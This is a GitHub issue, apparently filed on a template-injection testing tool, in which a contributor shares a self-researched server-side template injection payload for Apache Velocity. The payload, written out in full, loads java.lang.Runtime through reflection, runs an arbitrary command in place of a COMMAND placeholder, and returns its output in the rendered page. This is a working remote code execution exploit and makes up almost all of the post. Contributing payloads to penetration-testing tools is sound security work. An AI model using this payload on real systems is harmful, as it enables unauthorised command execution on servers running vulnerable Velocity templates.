-
Notifications
You must be signed in to change notification settings - Fork 687
Closed
Description
Hey Emilio,
I'm a fan of weevely and this project also looks very promising.
I want to share a contribution to it. I thought about making a pull request but then I saw that I had to make lots of changes on the code, and I don't wanna ruin your work :)
This was the result of recent research I made on SSTI on Apache Velocity. The payloads on Portswigger's blog also didn't work for me so I set out to make my own research.
I ended up with this nice payload:
#set($run=$engine.getClass().forName("java.lang.Runtime"))#set($runtime=$run.getRuntime())#set($proc=$runtime.exec("COMMAND"))#set($null=$proc.waitFor())#set($istr=$proc.getInputStream())#set($chr=$engine.getClass().forName("java.lang.Character"))#set($output="")#set($string=$engine.getClass().forName("java.lang.String"))#foreach($i in [1..$istr.available()])#set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))#end$output
It works like a charm for me. Please try it out and let me know if it works on your tests.
Metadata
Metadata
Assignees
Labels
No labels